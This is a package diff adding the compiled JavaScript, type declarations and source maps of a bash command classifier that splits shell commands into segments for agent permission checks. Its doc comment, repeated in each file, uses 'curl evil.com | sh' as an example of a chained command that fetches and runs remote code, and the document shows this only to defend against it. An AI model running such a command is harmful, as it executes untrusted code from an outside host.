+ * actually run, for permission matching (ADR 0004). A rule authorizes a chained
+ * command only if every resulting segment matches — so a narrow rule like
+ * `git commit:*` can never authorize `git commit -m x && curl evil.com | sh`.
+ *
+ * Classification is deliberately conservative: any construct the tokenizer does
+ * not fully model — command substitution, backticks, process substitution, an
+ * unterminated quote — returns "unparseable" rather than a partial or best-effort
+ * segment list. A caller must never treat "unparseable" as "no segments" (which
+ * would vacuously authorize the call); it must resolve to `ask`.
+ */
+export type BashCommandClassification = {
+    type: "empty";
+} | {
+    type: "unparseable";
+} | {
+    type: "segments";
+    segments: readonly string[];
+};
+export declare function classifyBashCommand(command: string): BashCommandClassification;
+//# sourceMappingURL=bash-command-segments.d.ts.map

package/dist/core/tools/bash-command-segments.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"bash-command-segments.d.ts","sourceRoot":"","sources":["../../../src/core/tools/bash-command-segments.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,MAAM,MAAM,yBAAyB,GAClC;IAAE,IAAI,EAAE,OAAO,CAAA;CAAE,GACjB;IAAE,IAAI,EAAE,aAAa,CAAA;CAAE,GACvB;IAAE,IAAI,EAAE,UAAU,CAAC;IAAC,QAAQ,EAAE,SAAS,MAAM,EAAE,CAAA;CAAE,CAAC;AAIrD,wBAAgB,mBAAmB,CAAC,OAAO,EAAE,MAAM,GAAG,yBAAyB,CAsH9E","sourcesContent":["/**\n * Decomposes a bash command string into the individual commands a shell would\n * actually run, for permission matching (ADR 0004). A rule authorizes a chained\n * command only if every resulting segment matches — so a narrow rule like\n * `git commit:*` can never authorize `git commit -m x && curl evil.com | sh`.\n *\n * Classification is deliberately conservative: any construct the tokenizer does\n * not fully model — command substitution, backticks, process substitution, an\n * unterminated quote — returns \"unparseable\" rather than a partial or best-effort\n * segment list. A caller must never treat \"unparseable\" as \"no segments\" (which\n * would vacuously authorize the call); it must resolve to `ask`.\n */\n\nexport type BashCommandClassification =\n\t| { type: \"empty\" }\n\t| { type: \"unparseable\" }\n\t| { type: \"segments\"; segments: readonly string[] };\n\nconst ESCAPABLE_IN_DOUBLE_QUOTES = new Set([\"$\", \"`\", '\"', \"\\\\\", \"\\n\"]);\n\nexport function classifyBashCommand(command: string): BashCommandClassification {\n\tconst segments: string[] = [];\n\tlet current = \"\";\n\tlet quote: '\"' | \"'\" | undefined;\n\tlet i = 0;\n\tconst n = command.length;\n\n\tconst pushSegment = (): void => {\n\t\tconst trimmed = current.trim();\n\t\tif (trimmed) segments.push(trimmed);\n\t\tcurrent = \"\";\n\t};\n\n\twhile (i < n) {\n\t\tconst ch = command[i];\n\t\tconst next = command[i + 1];\n\n\t\tif (quote === \"'\") {\n\t\t\t// Single quotes are fully literal in bash: no escaping, no substitution.\n\t\t\tif (ch === \"'\") {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Command/backtick substitution is live both unquoted and inside double\n\t\t// quotes — only single quotes suppress it. Checked before double-quote\n\t\t// escape handling so an unrecognized-in-bash backslash pairing can never\n\t\t// hide a real substitution trigger from this check.\n\t\tif (ch === \"$\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (ch === \"`\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \"<\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \">\" && next === \"(\") return { type: \"unparseable\" };\n\n\t\tif (quote === '\"') {\n\t\t\tif (ch === '\"') {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (ch === \"$\") return { type: \"unparseable\" };\n\t\t\tif (ch === \"\\\\\" && next !== undefined && ESCAPABLE_IN_DOUBLE_QUOTES.has(next)) {\n\t\t\t\tcurrent += ch + next;\n\t\t\t\ti += 2;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Unquoted.\n\t\tif (ch === \"'\" || ch === '\"') {\n\t\t\tquote = ch;\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"\\\\\" && next !== undefined) {\n\t\t\tcurrent += ch + next;\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\t// These forms make a seemingly read-only command perform I/O, expand into\n\t\t// different arguments, or introduce grammar this deliberately small parser\n\t\t// cannot prove safe. A permission rule must never authorize them by prefix.\n\t\tif (\n\t\t\tch === \"<\" ||\n\t\t\tch === \">\" ||\n\t\t\tch === \"$\" ||\n\t\t\tch === \"{\" ||\n\t\t\tch === \"}\" ||\n\t\t\tch === \"(\" ||\n\t\t\tch === \")\" ||\n\t\t\tch === \"*\" ||\n\t\t\tch === \"?\" ||\n\t\t\tch === \"[\" ||\n\t\t\tch === \"]\" ||\n\t\t\tch === \"~\"\n\t\t) {\n\t\t\treturn { type: \"unparseable\" };\n\t\t}\n\t\tif (ch === \"\\n\" || ch === \";\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"&\" && next === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" && next === \"|\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" || ch === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\tcurrent += ch;\n\t\ti++;\n\t}\n\n\tif (quote !== undefined) return { type: \"unparseable\" }; // unterminated quote\n\n\tpushSegment();\n\n\treturn segments.length === 0 ? { type: \"empty\" } : { type: \"segments\", segments };\n}\n"]}

package/dist/core/tools/bash-command-segments.js

@@ -0,0 +1,128 @@
+/**
+ * Decomposes a bash command string into the individual commands a shell would
+ * actually run, for permission matching (ADR 0004). A rule authorizes a chained
+ * command only if every resulting segment matches — so a narrow rule like
+ * `git commit:*` can never authorize `git commit -m x && curl evil.com | sh`.
+ *
+ * Classification is deliberately conservative: any construct the tokenizer does
+ * not fully model — command substitution, backticks, process substitution, an
+ * unterminated quote — returns "unparseable" rather than a partial or best-effort
+ * segment list. A caller must never treat "unparseable" as "no segments" (which
+ * would vacuously authorize the call); it must resolve to `ask`.
+ */
+const ESCAPABLE_IN_DOUBLE_QUOTES = new Set(["$", "`", '"', "\\", "\n"]);
+export function classifyBashCommand(command) {
+    const segments = [];
+    let current = "";
+    let quote;
+    let i = 0;
+    const n = command.length;
+    const pushSegment = () => {
+        const trimmed = current.trim();
+        if (trimmed)
+            segments.push(trimmed);
+        current = "";
+    };
+    while (i < n) {
+        const ch = command[i];
+        const next = command[i + 1];
+        if (quote === "'") {
+            // Single quotes are fully literal in bash: no escaping, no substitution.
+            if (ch === "'") {
+                quote = undefined;
+                current += ch;
+                i++;
+                continue;
+            }
+            current += ch;
+            i++;
+            continue;
+        }
+        // Command/backtick substitution is live both unquoted and inside double
+        // quotes — only single quotes suppress it. Checked before double-quote
+        // escape handling so an unrecognized-in-bash backslash pairing can never
+        // hide a real substitution trigger from this check.
+        if (ch === "$" && next === "(")
+            return { type: "unparseable" };
+        if (ch === "`")
+            return { type: "unparseable" };
+        if (quote === undefined && ch === "<" && next === "(")
+            return { type: "unparseable" };
+        if (quote === undefined && ch === ">" && next === "(")
+            return { type: "unparseable" };
+        if (quote === '"') {
+            if (ch === '"') {
+                quote = undefined;
+                current += ch;
+                i++;
+                continue;
+            }
+            if (ch === "$")
+                return { type: "unparseable" };
+            if (ch === "\\" && next !== undefined && ESCAPABLE_IN_DOUBLE_QUOTES.has(next)) {
+                current += ch + next;
+                i += 2;
+                continue;
+            }
+            current += ch;
+            i++;
+            continue;
+        }
+        // Unquoted.
+        if (ch === "'" || ch === '"') {
+            quote = ch;
+            current += ch;
+            i++;
+            continue;
+        }
+        if (ch === "\\" && next !== undefined) {
+            current += ch + next;
+            i += 2;
+            continue;
+        }
+        // These forms make a seemingly read-only command perform I/O, expand into
+        // different arguments, or introduce grammar this deliberately small parser
+        // cannot prove safe. A permission rule must never authorize them by prefix.
+        if (ch === "<" ||
+            ch === ">" ||
+            ch === "$" ||
+            ch === "{" ||
+            ch === "}" ||
+            ch === "(" ||
+            ch === ")" ||
+            ch === "*" ||
+            ch === "?" ||
+            ch === "[" ||
+            ch === "]" ||
+            ch === "~") {
+            return { type: "unparseable" };
+        }
+        if (ch === "\n" || ch === ";") {
+            pushSegment();
+            i++;
+            continue;
+        }
+        if (ch === "&" && next === "&") {
+            pushSegment();
+            i += 2;
+            continue;
+        }
+        if (ch === "|" && next === "|") {
+            pushSegment();
+            i += 2;
+            continue;
+        }
+        if (ch === "|" || ch === "&") {
+            pushSegment();
+            i++;
+            continue;
+        }
+        current += ch;
+        i++;
+    }
+    if (quote !== undefined)
+        return { type: "unparseable" }; // unterminated quote
+    pushSegment();
+    return segments.length === 0 ? { type: "empty" } : { type: "segments", segments };
+}
+//# sourceMappingURL=bash-command-segments.js.map

package/dist/core/tools/bash-command-segments.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"bash-command-segments.js","sourceRoot":"","sources":["../../../src/core/tools/bash-command-segments.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * Decomposes a bash command string into the individual commands a shell would\n * actually run, for permission matching (ADR 0004). A rule authorizes a chained\n * command only if every resulting segment matches — so a narrow rule like\n * `git commit:*` can never authorize `git commit -m x && curl evil.com | sh`.\n *\n * Classification is deliberately conservative: any construct the tokenizer does\n * not fully model — command substitution, backticks, process substitution, an\n * unterminated quote — returns \"unparseable\" rather than a partial or best-effort\n * segment list. A caller must never treat \"unparseable\" as \"no segments\" (which\n * would vacuously authorize the call); it must resolve to `ask`.\n */\n\nexport type BashCommandClassification =\n\t| { type: \"empty\" }\n\t| { type: \"unparseable\" }\n\t| { type: \"segments\"; segments: readonly string[] };\n\nconst ESCAPABLE_IN_DOUBLE_QUOTES = new Set([\"$\", \"`\", '\"', \"\\\\\", \"\\n\"]);\n\nexport function classifyBashCommand(command: string): BashCommandClassification {\n\tconst segments: string[] = [];\n\tlet current = \"\";\n\tlet quote: '\"' | \"'\" | undefined;\n\tlet i = 0;\n\tconst n = command.length;\n\n\tconst pushSegment = (): void => {\n\t\tconst trimmed = current.trim();\n\t\tif (trimmed) segments.push(trimmed);\n\t\tcurrent = \"\";\n\t};\n\n\twhile (i < n) {\n\t\tconst ch = command[i];\n\t\tconst next = command[i + 1];\n\n\t\tif (quote === \"'\") {\n\t\t\t// Single quotes are fully literal in bash: no escaping, no substitution.\n\t\t\tif (ch === \"'\") {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Command/backtick substitution is live both unquoted and inside double\n\t\t// quotes — only single quotes suppress it. Checked before double-quote\n\t\t// escape handling so an unrecognized-in-bash backslash pairing can never\n\t\t// hide a real substitution trigger from this check.\n\t\tif (ch === \"$\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (ch === \"`\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \"<\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \">\" && next === \"(\") return { type: \"unparseable\" };\n\n\t\tif (quote === '\"') {\n\t\t\tif (ch === '\"') {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (ch === \"$\") return { type: \"unparseable\" };\n\t\t\tif (ch === \"\\\\\" && next !== undefined && ESCAPABLE_IN_DOUBLE_QUOTES.has(next)) {\n\t\t\t\tcurrent += ch + next;\n\t\t\t\ti += 2;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Unquoted.\n\t\tif (ch === \"'\" || ch === '\"') {\n\t\t\tquote = ch;\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"\\\\\" && next !== undefined) {\n\t\t\tcurrent += ch + next;\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\t// These forms make a seemingly read-only command perform I/O, expand into\n\t\t// different arguments, or introduce grammar this deliberately small parser\n\t\t// cannot prove safe. A permission rule must never authorize them by prefix.\n\t\tif (\n\t\t\tch === \"<\" ||\n\t\t\tch === \">\" ||\n\t\t\tch === \"$\" ||\n\t\t\tch === \"{\" ||\n\t\t\tch === \"}\" ||\n\t\t\tch === \"(\" ||\n\t\t\tch === \")\" ||\n\t\t\tch === \"*\" ||\n\t\t\tch === \"?\" ||\n\t\t\tch === \"[\" ||\n\t\t\tch === \"]\" ||\n\t\t\tch === \"~\"\n\t\t) {\n\t\t\treturn { type: \"unparseable\" };\n\t\t}\n\t\tif (ch === \"\\n\" || ch === \";\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"&\" && next === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" && next === \"|\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" || ch === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\tcurrent += ch;\n\t\ti++;\n\t}\n\n\tif (quote !== undefined) return { type: \"unparseable\" }; // unterminated quote\n\n\tpushSegment();\n\n\treturn segments.length === 0 ? { type: \"empty\" } : { type: \"segments\", segments };\n}\n"]}